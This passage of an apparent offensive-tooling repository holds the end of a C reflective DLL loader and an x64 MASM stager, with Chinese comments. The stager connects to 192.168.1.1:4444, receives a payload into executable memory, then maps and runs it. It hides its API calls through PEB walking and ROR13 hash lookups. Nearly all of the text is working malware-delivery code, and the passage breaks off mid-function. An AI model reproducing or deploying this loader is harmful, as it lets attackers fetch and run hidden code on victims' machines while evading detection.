(VIRTUALPROTECT)GetApiAddressByHash(Kernel32_VirtualProtect); 198 | pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetApiAddressByHash(Kernel32_GetNativeSystemInfo); 199 | 200 | if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc || !pVirtualProtect || !pGetNativeSystemInfo) 201 | { 202 | return FALSE; 203 | } 204 | 205 | /*---------------------第三步:加载 PE 文件节到内存---------------------*/ 206 | 207 | // 节表遍历与结束地址计算​ 208 | PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(pNtHeader); 209 | DWORD lastSectionEnd = 0; 210 | DWORD endOfSection; 211 | SYSTEM_INFO sysInfo; 212 | DWORD alignedImageSize; 213 | for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, sectionHeader++) { 214 | if (sectionHeader->SizeOfRawData == 0) { 215 | endOfSection = sectionHeader->VirtualAddress + pNtHeader->OptionalHeader.SectionAlignment; 216 | } 217 | else { 218 | endOfSection = sectionHeader->VirtualAddress + sectionHeader->SizeOfRawData; 219 | } 220 | 221 | if (endOfSection > lastSectionEnd) { 222 | lastSectionEnd = endOfSection; 223 | } 224 | } 225 | 226 | // 内存页对齐​ 227 | pGetNativeSystemInfo(&sysInfo); 228 | alignedImageSize = (DWORD)AlignValueUp(pNtHeader->OptionalHeader.SizeOfImage, sysInfo.dwPageSize); 229 | if (alignedImageSize != AlignValueUp(lastSectionEnd, sysInfo.dwPageSize)) { 230 | return 0; 231 | } 232 | 233 | 234 | // 尝试按PE声明的ImageBase分配内存 235 | ULONG_PTR BaseAddress = (ULONG_PTR)pVirtualAlloc( 236 | (LPVOID)(pNtHeader->OptionalHeader.ImageBase), 237 | alignedImageSize, 238 | MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE 239 | ); 240 | 241 | // 失败后由系统决定基址 242 | if (BaseAddress == 0) { 243 | BaseAddress = (ULONG_PTR)pVirtualAlloc( 244 | NULL, 245 | alignedImageSize, 246 | MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE 247 | ); 248 | } 249 | 250 | 251 | // 复制PE头到目标内存 252 | for (int i = 0; i < pNtHeader->OptionalHeader.SizeOfHeaders; i++) { 253 | ((PBYTE)BaseAddress)[i] = ((PBYTE)uiLibraryAddress)[i]; 254 | } 255 | 256 | // 新定位NT头指针 257 | pNtHeader = RVA(PIMAGE_NT_HEADERS, BaseAddress, ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew); 258 | 259 | 260 | // 复制各节到内存 261 | sectionHeader = IMAGE_FIRST_SECTION(pNtHeader); 262 | 263 | for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, sectionHeader++) { 264 | for (int c = 0; c < sectionHeader->SizeOfRawData; c++) { 265 | ((PBYTE)(BaseAddress + sectionHeader->VirtualAddress))[c] = ((PBYTE)(uiLibraryAddress + sectionHeader->PointerToRawData))[c]; 266 | } 267 | } 268 | 269 | 270 | /*---------------------第五步:修复重定位表----------------------*/ 271 | 272 | ULONG_PTR baseOffset = BaseAddress - pNtHeader->OptionalHeader.ImageBase; 273 | PIMAGE_DATA_DIRECTORY dataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 274 | PIMAGE_BASE_RELOCATION relocation; 275 | PIMAGE_RELOC relocList; 276 | if (baseOffset && dataDir->Size) { 277 | 278 | PIMAGE_BASE_RELOCATION relocation = RVA(PIMAGE_BASE_RELOCATION, BaseAddress, dataDir->VirtualAddress); 279 | 280 | while (relocation->VirtualAddress) { 281 | relocList = (PIMAGE_RELOC)(relocation + 1); 282 | 283 | while ((PBYTE)relocList != (PBYTE)relocation + relocation->SizeOfBlock) { 284 | 285 | if (relocList->type == IMAGE_REL_BASED_DIR64) 286 | *(PULONG_PTR)((PBYTE)BaseAddress + relocation->VirtualAddress + relocList->offset) += baseOffset; 287 | else if (relocList->type == IMAGE_REL_BASED_HIGHLOW) 288 | *(PULONG_PTR)((PBYTE)BaseAddress + relocation->VirtualAddress + relocList->offset) += (DWORD)baseOffset; 289 | else if (relocList->type == IMAGE_REL_BASED_HIGH) 290 | *(PULONG_PTR)((PBYTE)BaseAddress + relocation->VirtualAddress + relocList->offset) += HIWORD(baseOffset); 291 | else if (relocList->type == IMAGE_REL_BASED_LOW) 292 | *(PULONG_PTR)((PBYTE)BaseAddress + relocation->VirtualAddress + relocList->offset) += LOWORD(baseOffset); 293 | 294 | relocList++; 295 | } 296 | relocation = (PIMAGE_BASE_RELOCATION)relocList; 297 | } 298 | } 299 | 300 | 301 | /*---------------------第六步:修复导入表---------------------*/ 302 | PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + BaseAddress); 303 | //这个是IID的指针 304 | if (pImport != NULL) 305 | { 306 | while (pImport->Name != NULL) 307 | { 308 | char DLLname[100] = { 0 }; // 定义一个存储 DLL 名称的缓冲区 309 | char* uiLibraryAddressName = (char*)(pImport->Name + BaseAddress); // 获取 DLL 名称的地址 310 | 311 | // 手动将名称拷贝到 DLLname 缓冲区 312 | for (int i = 0; i < sizeof(DLLname) - 1; i++) 313 | { 314 | if (uiLibraryAddressName[i] == '\0') // 遇到字符串结束符时停止 315 | break; 316 | DLLname[i] = uiLibraryAddressName[i]; // 拷贝字符 317 | } 318 | DLLname[sizeof(DLLname) - 1] = '\0'; // 确保缓冲区以 '\0' 结尾 319 | 320 | //通过名称找句柄 321 | HMODULE hProcess = pLoadLibraryA(DLLname); 322 | if (!hProcess) 323 | { 324 | return FALSE; 325 | } 326 | 327 | PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + BaseAddress);// 导入名称表 328 | PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + BaseAddress); // 导入地址表 329 | while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL) 330 | { 331 | //根据IAT中存放信息,我们可以选择序号导入还是名称导入 332 | if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)//判断如果是序号就是第一种处理方式 333 | { 334 | //通过序号来获取地址 335 | pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData))); 336 | } 337 | else 338 | { 339 | //通过函数名来获取地址 340 | PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + BaseAddress); 341 | pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name)); 342 | } 343 | pINT++; 344 | pIAT++; 345 | } 346 | pImport++; 347 | } 348 | } 349 | 350 | /*---------------------第七步:修改各节的内存保护属性--------------------*/ 351 | PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader); 352 | DWORD executable, readable, writeable; 353 | DWORD dwProtect, dwOldProtect; 354 | for (DWORD i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, pSectionHeader++) { 355 | 356 | if (pSectionHeader->SizeOfRawData) { 357 | 358 | // 获取当前节的保护属性 359 | executable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; 360 | readable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0; 361 | writeable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0; 362 | 363 | if (!executable && !readable && !writeable) 364 | dwProtect = PAGE_NOACCESS; // 不可访问 365 | else if (!executable && !readable && writeable) 366 | dwProtect = PAGE_WRITECOPY; // 写入时复制 367 | else if (!executable && readable && !writeable) 368 | dwProtect = PAGE_READONLY; // 只读 369 | else if (!executable && readable && writeable) 370 | dwProtect = PAGE_READWRITE; // 读写 371 | else if (executable && !readable && !writeable) 372 | dwProtect = PAGE_EXECUTE; // 仅执行 373 | else if (executable && !readable && writeable) 374 | dwProtect = PAGE_EXECUTE_WRITECOPY; // 可执行+写入时复制 375 | else if (executable && readable && !writeable) 376 | dwProtect = PAGE_EXECUTE_READ; // 可执行+只读 377 | else if (executable && readable && writeable) 378 | dwProtect = PAGE_EXECUTE_READWRITE; // 完全权限,即可读可写可执行 379 | 380 | // 处理非缓存属性 381 | if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) { 382 | dwProtect |= PAGE_NOCACHE; 383 | } 384 | 385 | // 修改当前节的内存保护属性 386 | pVirtualProtect( 387 | (LPVOID)(BaseAddress + pSectionHeader->VirtualAddress), 388 | pSectionHeader->SizeOfRawData, 389 | dwProtect, &dwOldProtect 390 | ); 391 | } 392 | 393 | } 394 | 395 | /*---------------------第八步:执行TLS回调---------------------*/ 396 | 397 | // 获取数据目录表中TLS项的地址 398 | dataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS]; 399 | PIMAGE_TLS_DIRECTORY tlsDir; 400 | PIMAGE_TLS_CALLBACK* callback; 401 | if (dataDir->Size) 402 | { 403 | // 将TLS目录的RVA转换为内存地址 404 | tlsDir = RVA(PIMAGE_TLS_DIRECTORY, BaseAddress, dataDir->VirtualAddress); 405 | 406 | // 获取回调函数地址数组的起始位置 407 | callback = (PIMAGE_TLS_CALLBACK*)(tlsDir->AddressOfCallBacks); 408 | 409 | // 遍历回调函数数组 410 | for (; *callback; callback++) { 411 | 412 | // 调用回调函数,传递进程附加事件(DLL_PROCESS_ATTACH) 413 | (*callback)((LPVOID)BaseAddress, DLL_PROCESS_ATTACH, NULL); 414 | } 415 | } 416 | 417 | /*---------------------第九步:获取dllmain的地址,执行dllmain---------------------*/ 418 | 419 | // 获取映射后的DLL的NT头 420 | PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(BaseAddress + pDOSheader->e_lfanew); 421 | 422 | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); 423 | // 获取DLL的入口点,一般为DllMain 424 | DLLMAIN dllentry = (DLLMAIN)((LPBYTE)BaseAddress + pNT->OptionalHeader.AddressOfEntryPoint); 425 | 426 | // 执行DllMain函数 427 | dllentry((HINSTANCE)BaseAddress,1,0); 428 | return TRUE; 429 | } -------------------------------------------------------------------------------- /Debug/DebugForRDI.asm: -------------------------------------------------------------------------------- 1 | ;---------------------------------------------------------------------------------- 2 | ; Author: oneday 3 | ; Language: MASM 4 | ; Details: This asm file was created while I was debugging and writing the RDI, 5 | ; and was finally completed for verification. 6 | ;---------------------------------------------------------------------------------- 7 | .code 8 | 9 | main proc 10 | 11 | ; 1. 清除方向标志并对齐栈指针,确保符合Windows x64调用约定 12 | cld 13 | 14 | ; 保存非易失性寄存器 15 | push rbx 16 | push rbp 17 | push rsi 18 | push rdi 19 | push r12 20 | push r13 21 | push r14 22 | push r15 23 | 24 | ; [rbp+8] = 旧DOS头地址(基址) 25 | ; [rbp+16] = 新DOS头地址(基址) 26 | ; [rbp+24] = 新PE头地址 27 | mov rbp,rsp 28 | sub rsp,24 29 | 30 | ; 2.加载ws2_32.dll库 31 | push 0 ; 为了对齐 32 | mov rax, '23_2sw' ; 构造字符串'ws2_32\0' 33 | push rax ; 将字符串压栈,此时RSP指向"ws2_32\0"的地址 34 | mov rcx, rsp ; RCX = 字符串地址,作为LoadLibraryA的参数 35 | mov r10, 56590AE9h ; kernel32.dll+LoadLibraryA的哈希值 36 | call GetProcAddressByHash 37 | 38 | ; 3.调用WSAStartup函数 39 | sub rsp, 400+8 ; WSAData结构体大小400字节,8个字节对齐 40 | mov r13,rsp ; R13保存WSAData结构指针 41 | mov r12,0101A8C05C110002h ; 构造sockaddr_in结构:192.168.1.1:4444, AF_INET 42 | push r12 ; 压栈保存sockaddr_in结构 43 | mov r12,rsp ; R12保存sockaddr_in结构指针 44 | mov rdx,r13 ; RDX = WSAData结构指针 45 | push 0101h ; Winsock 1.1版本 46 | pop rcx ; RCX = 0101h 47 | mov r10,4645344Ch ; ws2_32.dll+WSAStartup的哈希值 48 | call GetProcAddressByHash 49 | 50 | test eax,eax 51 | jnz failure 52 | 53 | ; 4.调用WSASocketA函数 54 | mov rcx,2 ; af=AF_INET (IPv4) 55 | mov rdx,1 ; af=SOCK_STREAM (TCP) 56 | xor r8,r8 ; protocol = 0 (默认) 57 | xor r9,r9 ; lpProtocolInfo = NULL 58 | push r9 ; dwFlags = 0 59 | push r9 ; g=0 60 | mov r10,0B83D505Ah ; ws2_32.dll+WSASocketA的哈希值 61 | call GetProcAddressByHash 62 | xchg rdi,rax ; 保存套接字句柄到RDI 63 | 64 | ; 6.调用connect函数 65 | mov rcx,rdi ; 套接字句柄 66 | mov rdx,r12 ; sockaddr_in结构指针 67 | push 16 ; sockaddr_in结构长度 68 | pop r8 ; R8 = 16 69 | mov r10,6AF3406Dh ; ws2_32.dll+connect的哈希值 70 | call GetProcAddressByHash 71 | 72 | test eax,eax 73 | jnz failure 74 | 75 | ; 7. 清栈 76 | add rsp, ((400+8)+(5*8)+(4*32)) 77 | 78 | ; 8.调用VirtualAlloc分配内存空间用于存储Shellcode 79 | xor rcx, rcx ; lpAddress = NULL(由系统选择地址) 80 | mov rdx, 00400000h ; dwSize = 4MB(分配内存大小) 81 | mov r8, 1000h ; flAllocationType = MEM_COMMIT(提交物理内存) 82 | mov r9, 40h ; flProtect = PAGE_EXECUTE_READWRITE(可读可写可执行) 83 | mov r10, 0FBFA86AFh ; kernel32.dll+VirtualAlloc 的哈希值 84 | call GetProcAddressByHash 85 | add rsp,32 86 | 87 | read_pre: 88 | xchg rax,rbx ; RBX = 分配的内存基地址 89 | mov qword ptr [rbp+8],rbx ; 保存基地址 90 | read_more: 91 | mov rcx,rdi ; 套接字句柄 92 | mov rdx,rbx ; 当前写入指针 93 | mov r8,8192 ; 每次读取8192字节 94 | xor r9,r9 ; flags = 0 95 | mov r10,0F1606037h ; ws2_32.dll+recv的哈希值 96 | call GetProcAddressByHash 97 | add rsp, 32 ; 清理影子空间 98 | 99 | add rbx,rax ; 移动写入指针 100 | test eax,eax ; 检查接收字节数 101 | jnz read_more ; 继续接收直到返回0 102 | 103 | ;------------------------------------------------------------------- 104 | ; [rbp+8] = 旧DOS头地址(基址) 105 | ; [rbp+16] = 新DOS头地址(基址) 106 | ; [rbp+24] = 新NT头地址 107 | ; LoadPEIntoMemory64 108 | ;------------------------------------------------------------------- 109 | ; 获取 SizeOfImage 110 | mov rax, [rbp+8] ; 旧DOS头地址 111 | mov r12d, dword ptr [rax+3Ch] ; PE头RVA(原文件) 112 | add r12, rax ; r12 = 原内存中的NT头地址 113 | mov edx, dword ptr [r12+50h] ; SizeOfImage(64位) 114 | 115 | ; 调用 VirtualAlloc 分配内存 116 | xor rcx, rcx ; lpAddress = NULL 117 | ; rdx = SizeOfImage 118 | mov r8d, 1000h ; MEM_COMMIT 119 | mov r9d, 40h ; PAGE_EXECUTE_READWRITE 120 | mov r10, 0FBFA86AFh ; VirtualAlloc哈希 121 | call GetProcAddressByHash 122 | add rsp,32 ; 清理影子空间 123 | mov qword ptr [rbp+16], rax ; 保存新基址到[rbp+16] 124 | 125 | ; 复制NT头 126 | mov ecx, dword ptr [r12+54h] ; SizeOfHeaders 127 | mov rsi, [rbp+8] ; 旧DOS头地址 128 | mov rdi, rax ; 新基址 129 | rep movsb 130 | 131 | ; 重定向NT头地址 132 | mov r12d, dword ptr [rax+3ch] ; 获取pe头RVA 133 | add r12, rax ; r12=新NT头地址 134 | mov [rbp+24],r12 ; 新NT地址存储在[rbp+24] 135 | 136 | ; 遍历节表 137 | movzx eax, word ptr [r12+14h] ; SizeOfOptionalHeader 138 | lea r14, [r12+rax+18h] ; 节表起始地址 139 | movzx r13d, word ptr [r12+6] ; 节区数量 140 | 141 | next_section: 142 | cmp dword ptr [r14+10h], 0 ; SizeOfRawData 143 | je get_next_section ; SizeOfRawData为0,则复制下一个节 144 | 145 | copy_section_data: 146 | mov esi, [r14+14h] ; PointerToRawData 147 | add rsi, [rbp+8] ; 源地址 148 | mov edi, [r14+0Ch] ; VirtualAddress 149 | add rdi, [rbp+16] ; 目标地址 150 | mov ecx, [r14+10h] ; SizeOfRawData 151 | rep movsb 152 | 153 | get_next_section: 154 | add r14, 28h ; 一个节头28h 155 | dec r13d ; 计数器减1 156 | jnz next_section ; 如果计数器减为0,则结束 157 | 158 | ;------------------------------------------------------------------- 159 | ; [rbp+8] = 旧DOS头地址(基址) 160 | ; [rbp+16] = 新DOS头地址(基址) 161 | ; [rbp+24] = 新NT头地址 162 | ; FixRelocations 163 | ;------------------------------------------------------------------- 164 | ; 获取 Delta = NewBase - OldBase 165 | mov rax,[rbp+24] ; PE头地址 166 | mov rbx,[rbp+16] ; NewBase 167 | sub rbx,[rax+30h] ; OldBase (ImageBase) 168 | push rbx ; 保存 Delta 169 | 170 | ; 定位重定位目录 (DataDirectory[5])和重定位表 171 | lea rdx, [rax + 88h + 5*8] ; 重定位目录 172 | mov edx, dword ptr [rdx] ; RVA of Reloc Table 173 | add rdx, [rbp+16] ; 转换为实际地址: NewBase + RVA, rdx = 重定位表入口点 174 | 175 | next_block: 176 | mov eax, dword ptr [rdx] ; VirtualAddress 177 | test eax,eax ; 如果重定位块的VirtualAddress 178 | jz reloc_done 179 | mov ecx, dword ptr [rdx+4] ; SizeOfBlock 180 | lea rsi, [rdx + 8] ; 条目数据起始地址 = rdx + 8 181 | add rcx,rdx ; 边界值 182 | next_entry: 183 | movzx eax, word ptr [rsi] ; 读取条目 184 | mov ebx, eax 185 | shr ebx, 12 ; 类型 (高4位) 186 | cmp bx, 0Ah ; IMAGE_REL_BASED_DIR64 187 | jne get_next_entry 188 | 189 | ; 计算目标地址: NewBase + VirtualAddress + Offset 190 | and eax, 0FFFh ; Offset (低12位) 191 | add eax, dword ptr [rdx] ; VirtualAddress (当前块) 192 | add rax, [rbp+16] ; NewBase 193 | 194 | ; 修正地址 195 | mov rbx, [rax] ; 读取原值 196 | add rbx, [rsp] ; 修正后的值 = 原值 + 获取栈上的Delta 197 | mov [rax], rbx ; 修正后的值填入原处 198 | 199 | get_next_entry: 200 | cmp rcx,rsi ; 判断是否到达了边界值 201 | je get_next_block ; 如果到了边界值就下一个重定位块 202 | add rsi, 2 ; 没有到边界,就移动到下一个重定位项,一个重定位项占16位 203 | jmp next_entry 204 | 205 | get_next_block: 206 | mov eax, dword ptr [rdx+4] ; 获取当前块大小 207 | add rdx, rax ; 移动到下一重定位块 208 | jmp next_block 209 | 210 | reloc_done: 211 | pop rbx ; clear Delta 212 | 213 | ;------------------------------------------------------------------- 214 | ; [rbp+8] = 旧DOS头地址(基址) 215 | ; [rbp+16] = 新DOS头地址(基址) 216 | ; [rbp+24] = 新NT头地址 217 | ; ParseImportTable 218 | ;------------------------------------------------------------------- 219 | 220 | ; 获取导入目录 221 | mov rax,[rbp+24] ; 获取NT头地址 222 | mov eax,dword ptr [rax + 8 + 88h] ; 获取导入表RVA 223 | mov r12,qword ptr [rbp+16] ; 获取基址 224 | add r12,rax ; r12 = 获取导入表的VA 225 | 226 | ; 解析单个DLL的导入函数 227 | next_dll: 228 | cmp dword ptr [r12], 0 ; 判断导入描述符是否结束(全零) 229 | je loop_dll_end 230 | 231 | ; 处理当前DLL的导入项 232 | mov ecx, dword ptr [r12 + 0ch] ; DLLname RVA 233 | add rcx,[rbp + 16] ; DLLname VA 可以动态调式看看 234 | mov r10,56590AE9h ; kernel32.dll+LoadLibraryA的哈希值 235 | call GetProcAddressByHash ; 获取模块 236 | add rsp,32 ; 清除影子空间 237 | xchg rbx,rax ; rbx = 加载dll的模块基址 238 | 239 | mov esi,dword ptr [r12] ; INT RVA 240 | add rsi,qword ptr [rbp+16] ; INT VA 241 | mov edi,dword ptr [r12+16] ; IAT RVA 242 | add rdi,qword ptr [rbp+16] ; IAT VA 243 | 244 | next_thunk: 245 | cmp dword ptr [rsi], 0 ; 检查当前导入名称表(INT)条目是否为0 246 | je get_next_dll ; 全零表示结束 247 | 248 | mov rax,qword ptr [rsi] ; 获取INT条目值 249 | mov rdx,rax ; 保存 250 | test rax,rax ; 判断是按名称导入还是按序号导入 251 | js import_by_ordinal ; SF=1,名称导入 252 | 253 | ; 按名称导入 254 | import_by_Name: 255 | mov rcx,rbx ; hModule 256 | add rdx,qword ptr [rbp + 16] ; 获取IMAGE_IMPORT_BY_NAME结构体 257 | add rdx,2 ; 跳过Hint字段 258 | mov r10,0E658B905h ; kernel32.dll+GetProcAddress hash 259 | call GetProcAddressByHash 260 | jmp get_next_thunk 261 | 262 | ; 按序号导入 263 | import_by_ordinal: 264 | and rdx, 0FFFFh ; 获取序号 265 | mov rcx,rbx ; hModule 266 | mov r10,0E658B905h ; kernel32.dll+GetProcAddress hash 267 | call GetProcAddressByHash 268 | 269 | get_next_thunk: 270 | add rsp,32 ; 恢复到调用前的状态 271 | mov [rdi],rax ; 函数地址填入到IAT相应的位置 272 | add rsi,8 ; 移动到下一个INT条目 273 | add rdi,8 ; 移动到下一个IAT条目 274 | jmp next_thunk 275 | 276 | get_next_dll: 277 | add r12,14h ; 一个descriptor的大小为14h 278 | jmp next_dll ; 处理下一个descriptor 279 | 280 | loop_dll_end: ; 执行后续代码 281 | 282 | ;------------------------------------------------------------------- 283 | ; [rbp+8] = 旧DOS头地址(基址) 284 | ; [rbp+16] = 新DOS头地址(基址) 285 | ; [rbp+24] = 新NT头地址 286 | ; AdjustMemProtect 287 | ;------------------------------------------------------------------- 288 | 289 | ; 获取节表信息 290 | mov rbx,[rbp+24] 291 | movzx eax,word ptr [rbx+14h] ; FileHeader.SizeOfOptionalHeader 292 | lea r12,[rbx+rax+18h] ; r12 = pSectionHeader 293 | movzx r13d,word ptr [rbx+6] ; SectionNumber 294 | 295 | next_section1: 296 | ; 在这里修复各节属性 297 | mov eax,dword ptr [r12+24h] ; Characteristics 298 | and eax,0E0000000h ; 只保留29、30、31位(MEM_WRITE/MEM_READ/MEM_EXECUTE),其余位清零 299 | shr eax,29 ; 右移29位 300 | 301 | call Get_Protect 302 | 303 | ; 内存保护常量表(字节数组) 304 | ProtectionTable: 305 | db 01h ; [0] PAGE_NOACCESS 306 | db 10h ; [1] PAGE_EXECUTE 307 | db 02h ; [2] PAGE_READONLY 308 | db 20h ; [3] PAGE_EXECUTE_READ 309 | db 08h ; [4] PAGE_WRITECOPY 310 | db 80h ; [5] PAGE_EXECUTE_WRITECOPY 311 | db 04h ; [6] PAGE_READWRITE 312 | db 40h ; [7] PAGE_EXECUTE_READWRITE 313 | 314 | Get_Protect: 315 | pop rsi 316 | movzx r8d, byte ptr [rsi + rax] 317 | 318 | SetMemProtect: 319 | mov ecx,dword ptr [r12 + 0Ch] 320 | add rcx,[rbp+16] ; lpAddress = 节的起始地址 321 | mov edx,[r12 + 10h] ; dwSize = 节的大小 322 | sub rsp,8 323 | ; flNewProtect 324 | mov r9,rsp ; lpflOldProtect 325 | mov r10,0E3918276h ; kernel32 + VirtualProtect hash 326 | call GetProcAddressByHash 327 | add rsp,40 ; 清除32字节影子空间+8字节的lpflOldProtect 328 | 329 | get_next_section1: 330 | add r12, 28h ; 下一个节头,一个节头28h字节 331 | dec r13d ; 节头数减一 332 | test r13d,r13d ; 检查是否为0 333 | jnz next_section1 ; 如果节头数为0,则结束循环 334 | 335 | ;------------------------------------------------------------------- 336 | ; [rbp+8] = 旧DOS头地址(基址) 337 | ; [rbp+16] = 新DOS头地址(基址) 338 | ; [rbp+24] = 新NT头地址 339 | ; ExecuteTLSCallbacks 340 | ;------------------------------------------------------------------- 341 | 342 | mov rax,[rbp+24] ; 新NT头 343 | lea rax,[rax + 88h + 72] ; TLS 数据目录项地址 344 | 345 | ; 检查TLS目录大小 346 | cmp dword ptr [rax+4],0 ; 比较 TLS 目录大小字段 347 | je entry ; 如果大小为0,跳转到入口点 (无TLS回调) 348 | 349 | ; 获取TLS目录VA (tlsDir) 350 | mov edx,dword ptr [rax] ; TLS目录的RVA 351 | add rdx,[rbp+16] ; TLS目录的VA 352 | 353 | ; 获取回调函数数组 (callback) 354 | mov rdi,[rdx+3*8] ; 回调函数数组的首地址AddressOfCallBacks 355 | 356 | next_tlscallback: 357 | cmp qword ptr [rdi],0 ; 检查当前回调函数指针是否为NULL 358 | je entry ; 若为NULL(数组结束),跳转到入口点 359 | 360 | mov rax,[rdi] ; 当前回调函数的地址 361 | mov rcx,[rbp+16] ; 参数1: 模块基址 362 | mov edx,1 ; 参数2: DLL_PROCESS_ATTACH (值=1) 363 | xor r8d,r8d ; R8 = 参数3: NULL 364 | call rax ; 调用TLS回调函数 365 | 366 | get_next_tlscallback: 367 | add rdi,8 ; 移动到下一个函数指针 368 | jmp next_tlscallback ; 继续循环 369 | 370 | 371 | ;------------------------------------------------------------------- 372 | ; 根据EXE或DLL相应的特征调用入口点 373 | ; GoToEntry 374 | ;------------------------------------------------------------------- 375 | entry: 376 | mov rsi, [rbp+24] ; 获取PE头地址 377 | mov ax, word ptr [rsi+16h] ; 读取Characteristics字段 378 | test ax, 2000h ; 检查是否为DLL (0x2000) 379 | jz is_exe ; 非DLL则跳转EXE处理 380 | 381 | sub rsp,32 382 | mov ebx,dword ptr [rsi + 28h] ; 调用DLL入口点 RVA 383 | add rbx,[rbp+16] ; 调用DLL入口点 VA 384 | mov rcx,[rbp+16] 385 | mov rdx,1 386 | xor r8d,r8d 387 | call rbx 388 | 389 | add rsp,32 390 | jmp restore 391 | 392 | is_exe: 393 | mov ebx,dword ptr [rsi + 28h] ; 调用EXE入口点 RVA 394 | add rbx,[rbp+16] ; 调用EXE入口点 VA 395 | call rbx 396 | 397 | 398 | ;------------------------------------------------------------------- 399 | ; 恢复到调用ReflectiveLoader之前的栈空间和寄存器状态 400 | ;------------------------------------------------------------------- 401 | restore: 402 | add rsp,24 403 | pop r15 404 | pop r14 405 | pop r13 406 | pop r12 407 | pop rdi 408 | pop rsi 409 | pop rbp 410 | pop rbx 411 | ret 412 | 413 | failure: 414 | mov r10,0DE2D94D9h 415 | call GetProcAddressByHash 416 | main endp 417 | 418 | GetProcAddressByHash proc 419 | 420 | 421 | ; 1. 保存前4个参数到栈上,并保存rsi和r12的值 422 | push r9 423 | push r8 424 | push rdx 425 | push rcx 426 | push rsi 427 | push r12 428 | 429 | ; 2. 获取 InMemoryOrderModuleList 模块链表的第一个模块结点 430 | xor rdx,rdx ; 清零 431 | mov rdx,gs:[rdx+60h] ; 通过GS段寄存器获取PEB地址(TEB偏移0x60处) 432 | mov rdx,[rdx+18h] ; PEB->Ldr 433 | mov rdx,[rdx+20h] ; 第一个模块节点,也是链表InMemoryOrderModuleList的首地址 434 | 435 | ;3.模块遍历 436 | next_mod: 437 | mov rsi,[rdx+50h] ; 模块名称 438 | movzx rcx,word ptr [rdx+48h] ; 模块名称长度 439 | xor r8,r8 ; 存储接下来要计算的hash 440 | 441 | ; 4.计算模块hash 442 | loop_modname: 443 | xor rax, rax ; 清零EAX,准备处理字符 444 | lodsb ; 从rSI加载一个字节到AL(自动递增rSI) 445 | cmp al,'a' ; 比较当前字符的ASCII值是否小于小写字母'a'(0x61) 446 | jl not_lowercase ; 如果字符 < 'a',说明不是小写字母,跳转不处理 447 | sub al, 20h ; 若字符在'a'-'z'范围内,通过减0x20转换为大写字母('A'-'Z') 448 | not_lowercase: 449 | ror r8d,0dh ; 对R8的低32位进行循环右移13位,不影响高32位 450 | add r8d,eax ; 将当前字符的ASCII值(已大写化)累加到哈希值 451 | dec ecx ; 字符计数器ECX减1 452 | jnz loop_modname ; 继续循环处理下一个字符,直到ECX减至0 453 | push rdx ; 将当前模块链表节点地址压栈 454 | push r8 ; 将计算完成的哈希值压栈存储hash值 455 | 456 | ; 5.获取导出表 457 | mov rdx, [rdx+20h] ; 获取模块基址 458 | mov eax, dword ptr [rdx+3ch] ; 读取PE头的RVA 459 | add rax, rdx ; PE头VA 460 | cmp word ptr [rax+18h],20Bh ; 检查是否为PE64文件 461 | jne get_next_mod1 ; 不是就下一个模块 462 | mov eax, dword ptr [rax+88h] ; 获取导出表的RVA 463 | test rax, rax ; 检查该模块是否有导出函数 464 | jz get_next_mod1 ; 没有就下一个模块 465 | add rax, rdx ; 获取导出表的VA 466 | push rax ; 存储导出表的地址 467 | mov ecx, dword ptr [rax+18h] ; 按名称导出的函数数量 468 | mov r9d, dword ptr [rax+20h] ; 函数名称字符串地址数组的RVA 469 | add r9, rdx ; 函数名称字符串地址数组的VA 470 | 471 | ; 6.获取函数名 472 | get_next_func: 473 | test rcx, rcx ; 检查按名称导出的函数数量是否为0 474 | jz get_next_mod ; 若所有函数已处理完,跳转至下一个模块遍历 475 | dec rcx ; 函数计数器递减(从后向前遍历函数名数组) 476 | mov esi, dword ptr [r9+rcx*4] ; 从末尾往前遍历,一个函数名RVA占4字节 477 | add rsi, rdx ; 函数名RVA 478 | xor r8, r8 ; 存储接下来的函数名哈希 479 | 480 | ; 7.计算模块 hash + 函数 hash之和 481 | loop_funcname: 482 | xor rax, rax ; 清零EAX,准备处理字符 483 | lodsb ; 从rsi加载一个字节到al,rsi自增1 484 | test al, al 485 | jz end_funcname 486 | ror r8d,0dh ; 对当前哈希值(r8d)循环右移13位 487 | add r8d,eax ; 将当前字符的ASCII值(al)累加到哈希值(r8d) 488 | jmp loop_funcname ; 若字符非0,继续循环处理下一个字符 489 | 490 | end_funcname: 491 | add r8,[rsp+8] ; 将之前压栈的模块哈希值(位于栈顶+8)加到当前函数哈希 492 | cmp r8d,r10d ; r10存储目标hash 493 | jnz get_next_func 494 | 495 | ; 8.获取目标函数指针 496 | pop rax ; 获取之前存放的当前模块的导出表地址 